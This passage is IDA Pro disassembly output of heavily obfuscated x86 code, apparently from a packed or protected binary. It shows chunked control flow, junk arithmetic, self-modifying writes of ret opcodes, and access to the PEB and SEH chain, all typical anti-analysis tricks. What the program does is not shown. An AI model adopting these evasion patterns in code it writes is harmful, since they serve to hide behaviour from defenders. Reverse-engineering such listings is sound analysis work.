; [00000001 BYTES: COLLAPSED FUNCTION nullsub_360. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_444EC9:				; CODE XREF: dviuq5id:00454ED2j
		jmp	loc_458E96
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44514D

loc_444ECE:				; CODE XREF: sub_44514D-613Fj
		jmp	loc_452DF4
; END OF FUNCTION CHUNK	FOR sub_44514D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44297E

loc_444ED3:				; CODE XREF: sub_44297E:loc_442983j
		jge	loc_44D115
		xchg	eax, [edx]
		test	edi, ecx
		jmp	loc_459275
; END OF FUNCTION CHUNK	FOR sub_44297E

; =============== S U B	R O U T	I N E =======================================



sub_444EE2	proc near		; CODE XREF: dviuq5id:0043FC1Cj
					; sub_459490:loc_442DB5p

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 004433EA SIZE 0000001B BYTES

		xchg	esi, [esp-4+arg_0]
		pop	esi
		push	0DEB8119Ch
		add	ebx, esi
		jmp	loc_4433EA
sub_444EE2	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4551F9

loc_444EF2:				; CODE XREF: sub_4551F9:loc_43BA60j
					; sub_4551F9+3EB3j
		mov	eax, [ebp-4]
		cmp	byte ptr [eax],	0F1h
		jnz	loc_4588EA
		jmp	loc_43E223
; END OF FUNCTION CHUNK	FOR sub_4551F9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44A4E3

loc_444F03:				; CODE XREF: sub_44A4E3:loc_45A5A3j
		mov	esi, eax

loc_444F05:				; CODE XREF: dviuq5id:loc_44355Dj
		push	offset sub_4427DA
		jmp	nullsub_420
; END OF FUNCTION CHUNK	FOR sub_44A4E3

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_444F0F	proc near		; CODE XREF: dviuq5id:0043A8F5p
					; sub_449D2E-B7B5p ...

var_8		= dword	ptr -8

; FUNCTION CHUNK AT 0043EC28 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00447E0C SIZE 00000010 BYTES
; FUNCTION CHUNK AT 004536D6 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 004585F7 SIZE 00000005 BYTES

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	ecx, edx
		xchg	ecx, [esp+8+var_8]
		push	0AF92F594h
		pop	edx
		jmp	loc_4585F7
sub_444F0F	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_444F24:				; CODE XREF: dviuq5id:loc_4518BBj
					; dviuq5id:004518D4j
		xor	eax, 271B0009h
		call	sub_453642
		mov	ds:dword_41D0EC, eax
		lea	eax, nullsub_14
		call	sub_450B4F
; START	OF FUNCTION CHUNK FOR sub_441F10

loc_444F40:				; CODE XREF: sub_441F10+12j
		jmp	loc_442BE4
; END OF FUNCTION CHUNK	FOR sub_441F10
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4543C5

loc_444F45:				; CODE XREF: dviuq5id:loc_44C142j
					; sub_4543C5:loc_45A121j
		add	ebx, ebp
		add	ebx, 6A472CFh
		mov	ebx, [ebx]
		add	eax, ebx
		jmp	loc_4468D6
; END OF FUNCTION CHUNK	FOR sub_4543C5
; ---------------------------------------------------------------------------

loc_444F56:				; CODE XREF: dviuq5id:loc_459D1Ej
		jnz	loc_43C7A2
		jmp	loc_4521BC
; ---------------------------------------------------------------------------

loc_444F61:				; DATA XREF: sub_448800+4137o
		add	eax, edi
		pop	edi
		mov	edx, [esp]
		push	edi
		mov	edi, ecx
		xchg	edi, [esp]
		mov	ecx, eax
		jmp	loc_43A126
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_454267

loc_444F74:				; CODE XREF: sub_454267-E4D2j
		push	0B068F8FAh
		jmp	loc_44AECC
; END OF FUNCTION CHUNK	FOR sub_454267
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44F5D6

loc_444F7E:				; CODE XREF: sub_44F5D6+1j
		mov	eax, [esp+0]
		push	edx
		push	eax
		push	0E807A45Ah
		jmp	loc_4552C8
; END OF FUNCTION CHUNK	FOR sub_44F5D6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44ABE0

loc_444F8D:				; CODE XREF: sub_44ABE0:loc_4597ADj
		dec	eax
		mov	edx, ds:dword_457D5C
		mov	[edx], eax
; END OF FUNCTION CHUNK	FOR sub_44ABE0
; START	OF FUNCTION CHUNK FOR sub_44226E

loc_444F96:				; CODE XREF: sub_44226E+17j
					; sub_447698+15j
		call	sub_45000B
		mov	edx, ds:dword_457D5C
		mov	edx, [edx]
		sub	edx, eax
		jmp	loc_451B0B
; END OF FUNCTION CHUNK	FOR sub_44226E
; ---------------------------------------------------------------------------
		test	ebp, ecx
		jmp	loc_43E043
; ---------------------------------------------------------------------------

loc_444FB1:				; CODE XREF: dviuq5id:0044F704j
		mov	[ebx], eax
		pop	ebx
		lea	eax, sub_4592D7
		mov	byte ptr [eax],	0C3h
; START	OF FUNCTION CHUNK FOR sub_45345A

loc_444FBD:				; CODE XREF: sub_45345A:loc_44C504j
		jmp	sub_4592D7
; END OF FUNCTION CHUNK	FOR sub_45345A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44FCBC

loc_444FC2:				; CODE XREF: sub_44FCBC:loc_44403Cj
					; dviuq5id:0044AA8Aj
		push	offset sub_443BD7
		jmp	loc_442FED
; END OF FUNCTION CHUNK	FOR sub_44FCBC
; ---------------------------------------------------------------------------

loc_444FCC:				; CODE XREF: dviuq5id:loc_4493E3j
		call	sub_4411B8

loc_444FD1:				; CODE XREF: dviuq5id:loc_44BB09j
		mov	eax, 0A4C05BA6h
		call	sub_453642
		push	ebx
		push	7293F4E2h
		pop	ebx
		xor	ebx, 6B1903BFh
		and	ebx, 0BD66C378h
		jmp	loc_44C9CE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44C80D

loc_444FF3:				; CODE XREF: sub_44C80D+1Cj
		add	eax, ebp
		call	sub_442FBA

loc_444FFA:				; CODE XREF: dviuq5id:0045681Ej
		jmp	loc_457F83
; END OF FUNCTION CHUNK	FOR sub_44C80D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_458BA4

loc_444FFF:				; CODE XREF: sub_458BA4-1E842j
		jmp	loc_43ECAD
; END OF FUNCTION CHUNK	FOR sub_458BA4
; ---------------------------------------------------------------------------

loc_445004:				; CODE XREF: dviuq5id:00454B7Dj
		push	offset loc_4464C0
		jmp	loc_4499D5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FA59

loc_44500E:				; CODE XREF: sub_43FA59-2DD9j
		ja	loc_43F907
		mov	ecx, [ebx]
		xchg	ecx, eax
		jmp	loc_452166
; END OF FUNCTION CHUNK	FOR sub_43FA59
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44D948

loc_44501D:				; CODE XREF: sub_44D948:loc_447614j
		jnz	loc_44BBD7
		mov	eax, [esp+0]
		push	edx
		call	sub_442503
		push	2B9115F8h
		call	sub_4575D9
; END OF FUNCTION CHUNK	FOR sub_44D948
; START	OF FUNCTION CHUNK FOR sub_449187

loc_445036:				; CODE XREF: sub_449187+9j
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		mov	al, [eax]
		jns	loc_43E5A5
		call	sub_455B54

loc_445049:				; CODE XREF: sub_455658-186A0j
		jmp	loc_43962D
; END OF FUNCTION CHUNK	FOR sub_449187
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43BD72

loc_44504E:				; CODE XREF: sub_43BD72+11918j
		test	ebx, ebp

loc_445050:				; CODE XREF: dviuq5id:loc_456F5Ej
		jmp	loc_44F855
; END OF FUNCTION CHUNK	FOR sub_43BD72
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4551F9

loc_445055:				; CODE XREF: dviuq5id:loc_445673j
					; sub_4551F9:loc_452A12j
		pop	ecx
; END OF FUNCTION CHUNK	FOR sub_4551F9
; START	OF FUNCTION CHUNK FOR sub_44BB53

loc_445056:				; CODE XREF: sub_44BB53+10j
		pushf
		push	6F249F8h
		xchg	esi, [esp+0]
		mov	eax, esi
		pop	esi

loc_445062:				; CODE XREF: sub_459804-55A8j
		or	eax, 2E9FCC48h
		jmp	loc_43974D
; END OF FUNCTION CHUNK	FOR sub_44BB53
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C710

loc_44506D:				; CODE XREF: sub_43C710:loc_44FE99j
		jnz	loc_44A367

loc_445073:				; CODE XREF: dviuq5id:00451B56j
		jmp	sub_43AB42
; END OF FUNCTION CHUNK	FOR sub_43C710
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C03F

loc_445078:				; CODE XREF: sub_43C03F-19D3j
		jmp	loc_4515A1
; END OF FUNCTION CHUNK	FOR sub_43C03F
; ---------------------------------------------------------------------------
		mov	[edi], esi
		and	edi, edx
		and	ecx, 0BFC3CD1Dh
		jmp	loc_44A367

; =============== S U B	R O U T	I N E =======================================



sub_44508C	proc near		; CODE XREF: dviuq5id:0044E004j
					; dviuq5id:loc_452A69j	...

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0044E009 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0044E996 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044FBA7 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0045065D SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00450D19 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00451846 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 004597CE SIZE 00000005 BYTES

		xchg	ecx, [esp+0]
		mov	edx, ecx
		pop	ecx
		jb	loc_44E009
		mov	eax, [esp-4+arg_0]
		push	edx
		call	sub_43FEBB
		mov	eax, 19EDC823h
		jmp	loc_4597CE
sub_44508C	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44C378

loc_4450AB:				; CODE XREF: sub_44C378+486j
		sub	edi, 0B4FB99F2h
		call	sub_452A3E
; END OF FUNCTION CHUNK	FOR sub_44C378
; START	OF FUNCTION CHUNK FOR sub_43BB5D

loc_4450B6:				; CODE XREF: sub_43BB5D+18j
		jmp	nullsub_48
; END OF FUNCTION CHUNK	FOR sub_43BB5D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FDFB

loc_4450BB:				; CODE XREF: sub_43FDFB-5B5Aj
		jmp	loc_443DAB
; END OF FUNCTION CHUNK	FOR sub_43FDFB
; ---------------------------------------------------------------------------

loc_4450C0:				; CODE XREF: dviuq5id:0044A4BCj
		jnb	loc_4479BD
		add	ecx, 0C6A7339Ch
		and	edx, ecx
		jmp	loc_45A083
; ---------------------------------------------------------------------------

loc_4450D3:				; CODE XREF: dviuq5id:0043945Ej
		cmp	ebp, 0D27B0529h
		jmp	loc_444808
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4529AE

loc_4450DE:				; CODE XREF: sub_4529AE:loc_4598B3j
		xchg	edi, [esp+0]
		mov	eax, [ebp-10h]
		call	sub_4534AA
; END OF FUNCTION CHUNK	FOR sub_4529AE
; START	OF FUNCTION CHUNK FOR sub_459194

loc_4450E9:				; CODE XREF: sub_459194-A3ECj
		jmp	loc_4507B2
; END OF FUNCTION CHUNK	FOR sub_459194
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_151. PRESS KEYPAD	"+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_4450EF	proc near		; CODE XREF: dviuq5id:004428DAj
					; sub_446AB8+Ap
		xchg	esi, [esp+0]
		pop	esi
		mov	byte ptr [eax],	0C3h
		jmp	loc_449F09
sub_4450EF	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4450FB	proc near		; CODE XREF: sub_419F50+82p
					; sub_4450FB+5j
					; DATA XREF: ...
		call	sub_445110
		jmp	ds:off_41D01C
sub_4450FB	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441C84

loc_445106:				; CODE XREF: sub_441C84-500Bj
		jmp	loc_457337
; END OF FUNCTION CHUNK	FOR sub_441C84
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44CEFF

loc_44510B:				; CODE XREF: sub_44CEFF:loc_43A2F8j
		jmp	nullsub_86
; END OF FUNCTION CHUNK	FOR sub_44CEFF

; =============== S U B	R O U T	I N E =======================================



sub_445110	proc near		; CODE XREF: sub_445110-17C4j
					; sub_4450FBp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 004392CD SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0043964C SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0043A598 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0043A8B2 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043C297 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0043C88E SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0044393D SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00445FD5 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00447925 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00453F95 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 004569BD SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00456F9B SIZE 00000005 BYTES

		pop	edx
		jz	loc_447925
		mov	eax, [esp+0]
		jmp	loc_43A8B2
sub_445110	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_44511F:				; CODE XREF: dviuq5id:00442D23j
		xor	ebx, esi

; =============== S U B	R O U T	I N E =======================================



sub_445121	proc near		; CODE XREF: sub_4406CD+7p
		xchg	edx, [esp+0]
		pop	edx
		mov	large fs:0, esp
		mov	eax, large fs:30h
sub_445121	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_443862

loc_445133:				; CODE XREF: sub_443862+C97Cj
		jmp	loc_4483D5
; END OF FUNCTION CHUNK	FOR sub_443862
; ---------------------------------------------------------------------------

loc_445138:				; CODE XREF: dviuq5id:00440CB3j
		jno	loc_443128

; =============== S U B	R O U T	I N E =======================================



sub_44513E	proc near		; CODE XREF: dviuq5id:0044F6CBp
		xchg	edi, [esp+0]
		pop	edi
		push	edx
		mov	edx, eax
sub_44513E	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_44AB80

loc_445145:				; CODE XREF: sub_44AB80:loc_443029j
		xchg	edx, [esp+8+var_8]
		jmp	loc_448045
; END OF FUNCTION CHUNK	FOR sub_44AB80

; =============== S U B	R O U T	I N E =======================================



sub_44514D	proc near		; CODE XREF: sub_43D83D:loc_444A8Ej

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00439211 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043B36C SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0043C3C1 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0043C43F SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043D56B SIZE 00000002 BYTES
; FUNCTION CHUNK AT 0043F008 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043F8DD SIZE 0000001F BYTES
; FUNCTION CHUNK AT 00440213 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00440B81 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 004415D9 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00443537 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00444ECE SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044A529 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0044A669 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044AA55 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044BA95 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0044C187 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00450453 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004509D4 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 004511B9 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 004525FD SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00452DF4 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 004551DB SIZE 00000010 BYTES
; FUNCTION CHUNK AT 004558C3 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004561FC SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00457C65 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0045885B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0045A1A3 SIZE 00000005 BYTES

		push	ebp
		jmp	loc_4551DB
sub_44514D	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_445153:				; CODE XREF: dviuq5id:00443BC1j
		popf
; START	OF FUNCTION CHUNK FOR sub_44CFBC

loc_445154:				; CODE XREF: sub_44CFBC:loc_443BB1j
		xor	edi, 32F24C07h
		add	edi, 2ED20E74h
		or	edi, 0DDDFC0CEh
		call	sub_43F519

loc_44516B:				; CODE XREF: sub_4427AE+17EEBj
		jmp	sub_456F43
; END OF FUNCTION CHUNK	FOR sub_44CFBC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_452558

loc_445170:				; CODE XREF: sub_452558+16j
		jmp	loc_44368A
; END OF FUNCTION CHUNK	FOR sub_452558
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44E109

loc_445175:				; CODE XREF: sub_44E109+9j
		jmp	loc_457313
; END OF FUNCTION CHUNK	FOR sub_44E109
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F4F8

loc_44517A:				; CODE XREF: sub_43F4F8+3F52j
		jmp	loc_445356
; END OF FUNCTION CHUNK	FOR sub_43F4F8
; ---------------------------------------------------------------------------

loc_44517F:				; CODE XREF: dviuq5id:loc_44F714j
		pop	ecx
		lea	eax, sub_43DB63
		push	offset loc_439CAF
; START	OF FUNCTION CHUNK FOR sub_44CFBC

loc_44518B:				; CODE XREF: sub_44CFBC:loc_4424F6j
		jmp	loc_43955E
; END OF FUNCTION CHUNK	FOR sub_44CFBC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439013

loc_445190:				; CODE XREF: sub_439013+19B28j
		sub	al, 99h
		push	0BBE37DA7h
		pop	edx
		xor	edx, 0D5D9E276h
		jmp	loc_45837E
; END OF FUNCTION CHUNK	FOR sub_439013
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448424

loc_4451A3:				; CODE XREF: sub_448424+10EE7j
		jz	loc_442136
		sbb	ebx, 23ACE681h
		shr	esi, 0Ch
		xchg	ecx, [eax]
		jmp	loc_442130
; END OF FUNCTION CHUNK	FOR sub_448424
; ---------------------------------------------------------------------------

loc_4451B9:				; DATA XREF: sub_4406E9+Do
		or	eax, eax
		jnz	loc_459D37
		jmp	loc_43965D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439C09

loc_4451C6:				; CODE XREF: sub_439C09+19AE4j
		sbb	esi, 0F239217Bh
		jmp	loc_44D5D5
; END OF FUNCTION CHUNK	FOR sub_439C09
; ---------------------------------------------------------------------------

loc_4451D1:				; DATA XREF: sub_446DD8+765Ao
		call	sub_452A73
; START	OF FUNCTION CHUNK FOR sub_446DD8

loc_4451D6:				; CODE XREF: sub_43BA0E:loc_443EBBj
					; sub_446DD8+10850j
		xchg	eax, [esp+0]
		mov	edx, eax
		call	sub_45A04B
		xchg	ebp, [esp+0]
		mov	edx, ebp
		mov	ebp, edx
		jmp	loc_44D24D
; END OF FUNCTION CHUNK	FOR sub_446DD8
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_505. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E10E

loc_4451ED:				; CODE XREF: sub_43E10E+1BFA7j
		jmp	loc_442213
; END OF FUNCTION CHUNK	FOR sub_43E10E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441F10

loc_4451F2:				; CODE XREF: sub_441F10+CDAj
		jmp	loc_43E2DD
; END OF FUNCTION CHUNK	FOR sub_441F10
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E487

loc_4451F7:				; CODE XREF: sub_43E487+69E1j
		pop	edi
		or	edi, 0AB5907Bh
		xor	edi, 0A691CC12h
		and	edi, 771E43B6h
		jmp	loc_453C78
; END OF FUNCTION CHUNK	FOR sub_43E487
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_454094

loc_44520F:				; CODE XREF: sub_454094:loc_43F138j
		mov	ebx, 82E415EEh
		test	ebx, 23A9EFE6h
		jmp	loc_439C44
; END OF FUNCTION CHUNK	FOR sub_454094
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_459804

loc_44521F:				; CODE XREF: sub_459804:loc_450EDDj
		push	0F7A908D2h
		pop	ecx
		and	ecx, 6B6FCBD4h
		xor	ecx, 9E1018DAh
		rol	ecx, 1Eh
		add	ecx, 40F6AA40h
		xchg	ecx, [esp+4+var_4]
		jmp	sub_451D52
; END OF FUNCTION CHUNK	FOR sub_459804
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44EAC4

loc_445242:				; CODE XREF: sub_44EAC4:loc_4466B1j
		pop	eax
		xor	eax, 0D5AEBFAFh
		rol	eax, 1
		add	eax, 17CFC3E0h
		add	eax, ebp
		add	eax, 8EB2439h
		mov	eax, [eax]
		jmp	loc_449845
; END OF FUNCTION CHUNK	FOR sub_44EAC4

; =============== S U B	R O U T	I N E =======================================



sub_445260	proc near		; CODE XREF: sub_445110:loc_4392CDp
					; dviuq5id:00458A42j

; FUNCTION CHUNK AT 0043DC69 SIZE 0000000E BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		push	edx
		push	edi
		push	41D765C8h
		pop	edi
		or	edi, 0E255FE2Bh
		rol	edi, 0Fh
		jmp	loc_43DC69
sub_445260	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_454094

loc_44527A:				; CODE XREF: sub_454094:loc_43F11Bj
					; dviuq5id:0044BD57j
		pushf
		sbb	eax, esi
		ror	ebp, 11h
		not	eax
		jmp	loc_43C12B
; END OF FUNCTION CHUNK	FOR sub_454094
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_45753F

loc_445287:				; CODE XREF: sub_45753F-587Bj
		xchg	esi, [esp+0]
		mov	ecx, esi
		pop	esi
		xchg	ecx, [esp-4+arg_0]
		mov	eax, ecx
		pop	ecx
		jmp	loc_458D2A
; END OF FUNCTION CHUNK	FOR sub_45753F
; ---------------------------------------------------------------------------

loc_445298:				; CODE XREF: dviuq5id:004521C4j
		jno	loc_451A7C
		popf
		mov	ebp, [ebx]
		jmp	loc_43C79C

; =============== S U B	R O U T	I N E =======================================



sub_4452A6	proc near		; CODE XREF: dviuq5id:00443B9Fj
					; sub_43CB4C:loc_44FEF8p

; FUNCTION CHUNK AT 00439A47 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0043F994 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00443091 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00443E52 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00445908 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00449A4D SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0044BFE5 SIZE 00000028 BYTES
; FUNCTION CHUNK AT 00452390 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004548D9 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00454E1D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00459ADF SIZE 00000005 BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		cmp	dword ptr [ebp-10h], 1
		jnz	loc_449A4D
		jmp	loc_454E1D
sub_4452A6	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4452B9	proc near		; DATA XREF: sub_443CFF:loc_4414B8o

; FUNCTION CHUNK AT 00456271 SIZE 00000005 BYTES

		mov	eax, edx
		call	sub_4571A7
		mov	eax, [esp+0]
		call	sub_44E3BA
		jmp	loc_456271
sub_4452B9	endp

; ---------------------------------------------------------------------------
		jmp	loc_440F3A
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_237. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_450F99

loc_4452D3:				; CODE XREF: sub_450F99+6904j
		jmp	loc_44D591
; END OF FUNCTION CHUNK	FOR sub_450F99
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44646F

loc_4452D8:				; CODE XREF: sub_44646F+AB7Cj
		jmp	loc_44FF31
; END OF FUNCTION CHUNK	FOR sub_44646F
; ---------------------------------------------------------------------------

loc_4452DD:				; CODE XREF: dviuq5id:004407A4j
		jmp	loc_44CB44
; ---------------------------------------------------------------------------

loc_4452E2:				; CODE XREF: dviuq5id:0043A877j
		jmp	loc_4549ED
; ---------------------------------------------------------------------------

loc_4452E7:				; CODE XREF: dviuq5id:00457461j
		push	esi
		mov	esi, ecx
		xchg	esi, [esp]
		push	67CE612Dh
		pop	ecx
		jmp	loc_446AF3
; ---------------------------------------------------------------------------
		xor	ecx, ebp
		push	edx
		jmp	sub_456FEA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44EAC4

loc_445300:				; CODE XREF: sub_44EAC4:loc_44888Dj
		test	esi, 0E2B60A19h

loc_445306:				; CODE XREF: sub_43B24C:loc_43C8C6j
		jmp	loc_44D038
; END OF FUNCTION CHUNK	FOR sub_44EAC4
; ---------------------------------------------------------------------------
		mov	eax, 2DC123E0h
		call	sub_453642
		mov	ds:off_41D124, eax
		call	sub_457C88
; START	OF FUNCTION CHUNK FOR sub_450686

loc_445320:				; CODE XREF: sub_450686:loc_439918j
		push	ecx
		mov	ecx, eax
		xchg	ecx, [esp+0Ch+var_C]
		mov	eax, edx

loc_445328:				; CODE XREF: dviuq5id:0044AEBBj
		xchg	eax, [esp+0Ch+var_C]

loc_44532B:				; CODE XREF: dviuq5id:00450876j
		call	sub_45A310
		mov	eax, 0CAAB96A5h
		push	offset sub_449485
		jmp	nullsub_255
; END OF FUNCTION CHUNK	FOR sub_450686
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_333. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_445A59

loc_445340:				; CODE XREF: sub_445A59:loc_451AF3j
		jz	loc_44D990
; END OF FUNCTION CHUNK	FOR sub_445A59
; START	OF FUNCTION CHUNK FOR sub_454094

loc_445346:				; CODE XREF: sub_454094-178B5j
		jmp	loc_440B55
; END OF FUNCTION CHUNK	FOR sub_454094
; ---------------------------------------------------------------------------
		not	esi
		xor	ebp, ecx
		sbb	edx, ecx
		jmp	loc_44D990
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F4F8

loc_445356:				; CODE XREF: sub_43F4F8:loc_44517Aj
		test	edi, 5DD6FBA6h
		jmp	loc_43F8B3
; END OF FUNCTION CHUNK	FOR sub_43F4F8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_459804

loc_445361:				; CODE XREF: sub_459804-10983j
		cdq

loc_445362:				; CODE XREF: sub_459804:loc_43FB30j
		movzx	eax, word ptr [ebp-6]
		mov	edx, [ebp-18h]
		cmp	eax, [edx+18h]
		jnb	loc_4418AB
		jmp	loc_44CDDF
; END OF FUNCTION CHUNK	FOR sub_459804
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44BD0B

loc_445377:				; CODE XREF: sub_44BD0B:loc_4555AFj
					; sub_44BD0B+98B1j
		add	ecx, 4A5552D8h
		xchg	ecx, [esp+8+var_8]
		jmp	loc_4501C1
; END OF FUNCTION CHUNK	FOR sub_44BD0B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_459385

loc_445385:				; CODE XREF: sub_459385-7D16j
					; dviuq5id:loc_4593DAj
		pop	edi
		rol	edi, 4
		or	edi, 0E7168913h
		js	loc_455366

loc_445395:				; CODE XREF: dviuq5id:004457ABj
		jmp	loc_453892
; END OF FUNCTION CHUNK	FOR sub_459385
; ---------------------------------------------------------------------------
		xor	ebp, esi
		jmp	loc_44103C
; ---------------------------------------------------------------------------
		cmp	edx, eax
		jmp	loc_44B3E7
; ---------------------------------------------------------------------------
		xchg	esi, [eax]
; START	OF FUNCTION CHUNK FOR sub_445F35

loc_4453AA:				; CODE XREF: sub_445F35+8D72j
		jmp	loc_444609
; END OF FUNCTION CHUNK	FOR sub_445F35
; ---------------------------------------------------------------------------

loc_4453AF:				; CODE XREF: dviuq5id:loc_459565j
		pop	edx
		and	edi, 8C9D68F9h
		rol	edi, 17h
		cmp	edi, 50597FD1h
		jmp	loc_45431C
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_492. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
		sbb	dword ptr [esi+edx*2+0], 48B5A00h
		and	al, 56h
		mov	esi, edx
		xchg	esi, [esp]
		jmp	loc_44D206
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43BD72

